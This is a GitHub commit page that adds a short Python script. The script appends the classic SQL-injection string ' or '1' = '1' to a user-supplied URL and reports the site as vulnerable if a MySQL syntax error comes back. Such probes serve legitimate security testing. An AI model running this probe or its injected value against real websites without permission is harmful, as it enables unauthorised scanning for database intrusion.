Skip to content

Commit

Permalink
Added python SQL injection
Browse files Browse the repository at this point in the history
  • Loading branch information
EricSzla committed Oct 31, 2017
1 parent 3221b5c commit 8982a3e
Showing 1 changed file with 14 additions and 0 deletions.
14 changes: 14 additions & 0 deletions SQLInjection/SQLInjection.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
import sys
import urllib
from urllib2 import urlopen

fullurl = raw_input("Please enter URL: ")

resp = urlopen(fullurl + "=1\' or \'1\' = \'1\'")
body = resp.read()
fullbody = body.decode('utf-8')

if "You have an error in your SQL syntax" in fullbody:
print ("Website is vulnerable")
else:
print ("Website is not vulnerable");

0 comments on commit 8982a3e

Please sign in to comment.